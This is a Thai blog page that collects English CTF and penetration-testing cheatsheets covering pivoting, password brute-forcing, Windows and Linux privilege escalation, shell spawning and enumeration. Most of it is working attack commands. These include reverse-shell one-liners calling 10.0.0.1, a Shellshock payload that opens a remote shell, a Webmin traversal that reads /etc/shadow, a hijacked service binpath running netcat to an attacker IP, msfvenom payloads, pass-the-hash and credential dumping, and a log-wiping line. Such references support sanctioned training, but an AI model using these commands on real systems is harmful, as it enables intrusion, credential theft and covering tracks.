แสดงบทความที่มีป้ายกำกับ CTF-Cheatsheet แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ CTF-Cheatsheet แสดงบทความทั้งหมด

วันพฤหัสบดีที่ 23 พฤษภาคม พ.ศ. 2562

Network Pivoting CTF-Cheatsheet


Network pivoting


#SSH Local Port Forwarding
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
ssh j0hn@10.11.1.252 -L 88888:10.2.2.23:23
telnet localhost 88888

#SSH Dynamic Port Forwarding
ssh -f -N -D 9050 sean@10.11.1.251
proxychains nmap --top-ports=20 -sT -Pn $ip/24

#plink
plink -l root -pw password -R 3389:localhost:3389 <remote host> -P80

#Meterpreter
Port forwarding (https://www.offensive-security.com/metasploit-unleashed/portfwd/)
portfwd add -l <local port on the attacking machine (yours)> -p <victim port we want to access> -r <victim IP address>
portfwd add -l 3389 -p 3389 -r 192.168.1.99
Network pivoting (https://www.offensive-security.com/metasploit-unleashed/pivoting/)
run autoroute -h
run autoroute -s 10.1.13.0/24
run autoroute -p


Password Attack CTF-Cheatsheet


Password Attack


//Medusa
        Medusa, initiated against an htaccess protected web directory
        medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10

//Hydra

        //Hydra brute force against SNMP
        hydra -P password-file.txt -v $ip snmp

       // Hydra FTP known user and rockyou password list
        hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

        //Hydra SSH using list of users and passwords
        hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

        //Hydra SSH using a known password and a username list
        hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

        //Hydra SSH Against Known username on port 22
        hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

        //Hydra POP3 Brute Force
        hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

        //Hydra SMTP Brute Force
        hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

        //Hydra attack http get 401 login with a dictionary
        hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

       //Hydra attack Windows Remote Desktop with rockyou
        hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

        //Hydra brute force SMB user with rockyou:
        hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

       //Hydra brute force a Wordpress admin login
        hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'


Online Password Cracking
    https://crackstation.net/

#John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes

#ZIP Cracking
fcrackzip -b -c a1A -l 5-10 -v -u ./bank.zip

#Office password cracking
python ./office2john.py ./filename.docx

#VNC Password decryptor
https://www.raymond.cc/blog/download/did/232/
vncpwd.exe hashed

//filename being the protected document. 
After a second you will see the output like below:

root@k22:~/Downloads/crackers/Microsoft Office RC40 cracker# python ./office2john.py ../file1.docx
file1.docx:$office$*2007*20*128*16*75a4db9cc30c376ad9e05505b1afa100*d777bd01af371bbcc21139e34119b832*1c091f9e02d549f98073ed060429a4649d2c0d6b

#Passing the Hash in Windows

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U administrator% //$ip cmd

//Meterpreter Kiwi

meterpreter> load kiwi
meterpreter> help kiwi
meterpreter> creds_all



Windows Privilege CTF-Cheatsheet


Windows Privilege


#Creating a wget VB Script on Windows:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

//After you've created wget.vbs
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe

#Powershell file transfer
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://10.11.0.5/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

//Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.

pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853 
python pyinstaller.py --onefile exploit.py

#Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group:
whoami
net user "%username%"
net localgroup administrators

#Metasploit Web delivery

msf>use exploit/multi/script/web_delivery
msf>set payload windows/meterpreter/reverse_tcp
msf>set AutoRunScript post/windows/manage/migrate
msf>set LHOST <local IP>
msf>set LPORT <local port>
msf>set TARGET 2
msf>exploit

#Try the getsystem command using meterpreter - rarely works but is worth a try.
meterpreter > getsystem

#Try metasploit exploit suggester
meterpreter>run post/multi/recon/local_exploit_suggester

#Winenum
https://github.com/mattiareggiani/WinEnum

#RDP File Sharing
apt-get install remmina

#Sensitive/Flag file
tree
dir /b /s secret.txt

#Run-as admin (Require creds) without UAC
Start > run > powershell.exe Start-Process powershell -Verb runas

#Insecure Service Permissions
accesschk.exe /accepteula -uwcqv "john" *
sc qc upnphost
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe -nv 10.11.0.169 1337 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc stop upnphost
sc start upnphost

Metasploit Module: msf >use exploit/windows/local/service_permissions

#Unquoted Service Paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
sc qc "Macro Expert"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > Macro.exe

Metasploit Module: msf > use exploit/windows/local/trusted_service_path

#Insecure File/Folder Permissions
icacls "C:\Program Files (x86)\Program Folder\A Subfolder"
Simply replacing “Executable.exe” file with a reverse shell payload and restarting the service will give us a meterpreter session with SYSTEM privileges.

#AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msfvenom -f msi-nouac -p windows/adduser USER=eviladmin PASS=P4ssw0rd@ -o add_user.msi
msiexec /quiet /qn /i malicious.msi

Metasploit Module: msf > use exploit/windows/local/always_install_elevated

#Task Scheduler
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe
net start "Task Scheduler"
at 06:42 /interactive "C:\Documents and Settings\test\Local Settings\Temp\Payload.exe"

#DLL Hijacking
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.60 lport=8989 -f dll > hijackable.dll

Tip
Beroot (https://github.com/AlessandroZ/BeRoot)








Resources
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
https://www.techsuii.com/2017/11/27/windows-privilege-escalation-cheat-sheet/?fbclid=IwAR3yVsVdOnoJmOT-L8tY3aBde5comGBthSAwO7LGYil-8IHMWRi1W03V40g

Tip
https://github.com/pentestmonkey/windows-privesc-check
https://github.com/SecWiki/windows-kernel-exploits

Linux Enumeration for Escalation Root Access CTF-Cheatsheet

Linux Enumeration for Escalation Root Access

  == Operating System ==
## What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
   
uname -n   // System hostname
hostname // As above
## What's the Kernel version? Is it 64-bit?
cat /proc/version   
uname -a
uname -r  // Kernel release
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
cat /proc/cpuinfo   // CPU information
  == What can be learnt from the environmental variables? ==
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
  == Is there a printer? ==
lpstat -a
  == Users & Groups: ==
cat /etc/passwd 
cat /etc/group   // List all groups on the system
cat /etc/shadow  // Show user hashes – Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' List all super user accounts
finger   // Users currently logged in
pinky   // As above
users  // As above
who -a // As above
w   // Who is currently logged in and what they’re doing
last   // Listing of last logged on users
lastlog   // Information on when all users last logged in
lastlog --user root // Information on when the specified user last logged in
  == User & Privilege Information: ==
whoami
id
cat /etc/sudoers  // Who’s allowed to do what as root – Privileged command
sudo -l  // Can the current user perform anything as root
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
## What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root
What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
  == Environmental Information: ==
env  // Display environmental variables
set  // As above
echo $PATH  // Path information
history // Displays  command history of current user
cat /etc/profile // Display default system variables
## Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root
    == What applications are installed? What version are they? Are they currently running? ==
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
    == Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? ==
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
ps aux | grep root  // View services running as root
cat /etc/inetd.conf  // List services managed by inetd
cat /etc/xinetd.conf // As above for xinetd
    == Installed programs ==
dpkg -l Installed packages (Debian)
rpm -qa Installed packages (Red Hat)
sudo -V Sudo version – does an exploit exist?
httpd -v Apache version
apache2 -v As above
apache2ctl (or apachectl) -M List loaded Apache modules
mysql --version Installed MYSQL version details
perl -v Installed Perl version details
java -version Installed Java version details
python --version Installed Python version details
ruby -v Installed Ruby version details
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) Locate ‘useful’ programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc) As above
    == SSH info ? ==
## Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
  == Jobs/Tasks: ==
crontab -l -u %username% // Display scheduled jobs for the specified user – Privileged command
ls -la /etc/cron* // Scheduled jobs overview (hourly, daily, monthly etc)
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null // What can ‘others’ write in /etc/cron* directories
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
ls -alh  /etc/cron.daily
ls -alh  /etc/cron.weekly
ls -alh  /etc/cron.monthly
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
    == Interesting Files: ==
find /home –name .rhosts -print 2>/dev/null // Find rhost config files
ls -ahlR /root/     // See if you can access other user directories to find interesting files – Privileged command
cat ~/.bash_history // Show the current users’ command history
ls -la ~/._history // Show the current users’ various history files
ls -la ~/.ssh/ Check // for interesting ssh files in the current users’ directory
ls -la /usr/sbin/in.* // Check Configuration of inetd services
find /var/log -type f -exec ls -la {} ; 2>/dev/null List files in specified directory (/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null List .log files in specified directory (/var/log)
find /etc/ -maxdepth 1 -name .conf -type f -exec ls -la {} ; 2>/dev/null List .conf files in /etc (recursive 1 level)
ls -la /etc/.conf As above
lsof -i -n  ## List open files (output will depend on account privileges)
lsof -u root  ## lists all open files and processes by user root
## Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other
find /etc/ -readable -type f 2>/dev/null                         # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone
## Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders
find / -perm -o+x -type d 2>/dev/null    # world-executable folders
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders
## Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files
## What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
## Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/
## What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
## Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
## Is there anything in the log file(s) (Could help with "Local File Includes"!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
## Search for specific strings inside a file
file ./somefile   ## file info
strings ./*.txt | grep password
find / -name “*.log” |xargs grep -i pass
grep -l -i pass /var/log/*.log 2>/dev/null
find / -maxdepth 10 -name *.conf -type f | grep -Hn pass; 2>/dev/null // searches for the string 'password' and output the line number
find / -maxdepth 10 -name *etc* -type f | grep -Hn pass; 2>/dev/null  //as above, but in *etc*
grep -l -i pass /var/log/*.log 2>/dev/null Check log files for keywords (‘pass’ in this example) and show positive matches
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null Find .conf files (recursive 4 levels) and output line number where the word password is located
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
hexeditor ./file
objdump -D -M intel ./file
objdump -D -M x86-64 ./file >> dump64.file
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
find / -name "network-secret.txt"
locate "network-secret.txt"
 
    == Permissions ==
## What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -u=s -type f 2>/dev/null     #Find FILES that have the sticky bit set.
find / -perm -1000 -type d 2>/dev/null    # Find DIRECTORIES w/ Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
## Where can be written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders
find / -perm -o+x -type d 2>/dev/null    # world-executable folders
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders
Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files
Example:
## We found cp (copy) in the above list and now we are abusing it:
cp -f --no-preserve=all /etc/shadow /var/www/html/joomla/shadow.txt
Few things to keep in mind:
## (1) at the destination, the file owner will be root but the group will be that of the current user and
## (2) notice the use of "--no-preserve" this is needed to read out protected files.
## A lot of ways we can abuse this, update the shadow file with a new account, modify sudoers, plant ssh key + modify sshd_config ## + reboot,or cron.hourly.
    == File system ==
df -ah   // all FS info, including pseudo, duplicate, INACCESSIBLE file systems
## Are there any unmounted file-systems?
cat /etc/fstab
    == Networking, Routing & Communications: ==
/sbin/ifconfig -a // List all network interfaces
cat /etc/network/interfaces // As above
cat /etc/sysconfig/network
arp -a Display ARP communications
route Display route information
cat /etc/resolv.conf Show configured DNS sever addresses
netstat -antp List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup List all UDP sockets and related PIDs (-p Privileged command)
iptables -L List rules – Privileged command
cat /etc/services View port numbers/services mappings
    == What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? ==
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
    == Common Shell Escape Sequences: ==
## If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
Common Shell Escape Sequences:
:!bash vi, vim
:set shell=/bin/bash:shell vi, vim
!bash man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find
awk 'BEGIN {system("/bin/bash")}' awk
--interactive nmap
echo "os.execute('/bin/sh')" > exploit.nse nmap
sudo nmap --script=exploit.nse nmap
perl -e 'exec "/bin/bash";' Perl
 
    == What other users & hosts are communicating with the system? ==
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
    == Whats cached? IP and/or MAC addresses ==
arp -e
route
/sbin/route -nee
    == Is packet sniffing possible? What can be seen? Listen to live traffic ==
## http://www.rationallyparanoid.com/articles/tcpdump.html
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
tcpdump -n dst host 192.168.1.5 -vvv -n -w file.cap
    == Have you got a shell? Can you interact with the system? ==
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
    == Is port forwarding possible? Redirect and interact with traffic from another view ==
# rinetd
http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)
## Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
#copy bash to a new subshell
mount a NFS share from a remote server, copy bash from local to remote and execute
cp -p ./bash /mnt/share/newbash
./newbash -p
    == Preparation & Finding Exploit Code ==
## What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
## How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
#copy files with SSH
scp username@b:/path/to/file /path/to/destination   //while being logged into A
scp /path/to/file username@a:/path/to/destination  //while being logged into B
#compile C with gcc
gcc ./test.c -o ceva
http://www.wikihow.com/Compile-a-C-Program-Using-the-GNU-Compiler-(GCC)
#clear history, iptables and logs
iptables -F; history -c; find ./ -name “*.log” |xargs rm -f
# Postfix version
postconf -d | grep mail_vers
Tip
LinEnum (https://github.com/rebootuser/LinEnum)
LinuxPrivChecker.py (https://github.com/sleventyeleven/linuxprivchecker)
Linux Exploit Suggester 2 (https://github.com/jondonas/linux-exploit-suggester-2)
Beroot (https://github.com/AlessandroZ/BeRoot)
Abusing-sudo-linux-privilege-escalation: https://www.techsuii.com/2018/07/30/abusing-sudo-linux-privilege-escalation/
https://github.com/lucyoa/kernel-exploits
Compiling 32bit
gcc -m32 -Wl,--hash-style=both 9545.c -o exploit

Spawning Shells CTF-Cheatsheet


Spawning Shells


#python
   python -c 'import pty; pty.spawn("/bin/sh")'

#echo
   echo 'os.system('/bin/bash')'

#sh
   /bin/sh -i

#bash
   /bin/bash -i

#Perl
   perl -e 'exec "/bin/sh";'

#VI
   :!bash

Trick: https://github.com/bad-hombres/supertty
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Reverse-Shell CTF-Cheatsheet


Reverse-shell

#Bash
   bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#PERL
   perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#Python
   python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#PHP
   php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#Ruby
   ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#Netcat
   nc -e /bin/sh 10.0.0.1 1234

   rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

#Java
   r = Runtime.getRuntime()
   p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line    2>&5 >&5; done"] as String[])
   p.waitFor()

Enumeration and Gain access CTF-Cheatsheet


Enumeration and Gain access

#DNS Zone Transfers
   //Windows DNS zone transfer
       nslookup -> set type=any -> ls -d blah.com

   //Linux DNS zone transfer
       dig axfr blah.com @ns1.blah.com
       host -t ns megacorpone.com
       host -l megacorpone.com ns2.megacorpone.com

#DNS Tools
   //Dnsrecon DNS Brute Force
       dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

   //Dnsrecon DNS List of megacorp
       dnsrecon -d megacorpone.com -t axfr
       dnsrecon -d megacorpone.com
       dnsrecon -r 192.168.13.200-192.168.13.254 -n 192.168.13.220   //reverse lookup. dns server is -n
       dnsrecon -d acme.local -D /usr/share/wordlist/dns/dnsrecon.txt -t brt  //bruteforce the acme.local domain for domains and subdomains
       dnsrecon -a -d thinc.local -n 192.168.13.220 ## trying zone transfer. -n is the DNS server

#NFS (Network File System) Enumeration
   //Show Mountable NFS Shares 
       nmap -sV --script=nfs-* $ip
       nmap -sV --script=nfs-showmount $ip

   //Enumerate NFS shares
       showmount -e 192.168.56.103

   //Mount NTFS share
       mount -t nfs 192.168.1.72:/home/vulnix /tmp/mnt -nolock

#SMB Enumeration
   //SMB Enumeration Tools
       nmblookup -A $ip
       smbclient //MOUNT/share -I $ip -N
       rpcclient -U "" $ip
       enum4linux -a $ip

   //Accessing Share folder
       smbclient \\\\10.11.1.31\\wwwroot -u "" -p
       smbclient //10.11.1.136/Bob\ Share

#SMTP Enumeration - Mail Severs

   //Verify SMTP port using Netcat
       nc -nv $ip 25

   //Enumration username through VRFY
       smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.11.1.22

#SNMP Enumeration
   //SNMP Dictionary attack
       root@kali:~# echo public > community
       root@kali:~# echo private >> community
       root@kali:~# echo manager >> community
       root@kali:~# for ip in $(seq 1 254);do echo 10.11.1.$ip;done > ips
       root@kali:~# onesixtyone -c community -i ips

#Webmin
   //Test to see if webmin is running as root by grabbing /etc/shadow
       `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`

#Shellshock
   curl -H "User-Agent: () {:;}; /bin/bash -c 'bash -I >& /dev/tcp/10.11.0.169/1337 0>&1'" http://10.11.1.111/cgi-bin/admin.cgi -s

#Webdav with IIS6.0 Bypassing
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=<kali machine> LPORT=8443 -f asp > reverse.asp
   cadaver 10.12.23.11
   dav:/> put reverse.asp reverse.txt
   dav:/> copy reverse.txt reverse.asp;.txt
   Now reverse.asp will be located on web server
   Churrasco exploitation (https://www.exploit-db.com/exploits/6705/) for Win2k3+IIS6.0 could be used for Priv Esc

#LFI to SAM/SYSTEM files
   =../../../../../../WINDOWS/repair/sam
   =../../../../../../WINDOWS/repair/system
   samdump2 SYSTEM SAM > hashes.txt

#OS-Shell via SQLMap
   sqlmap -r req.txt -p type_id --os-shell

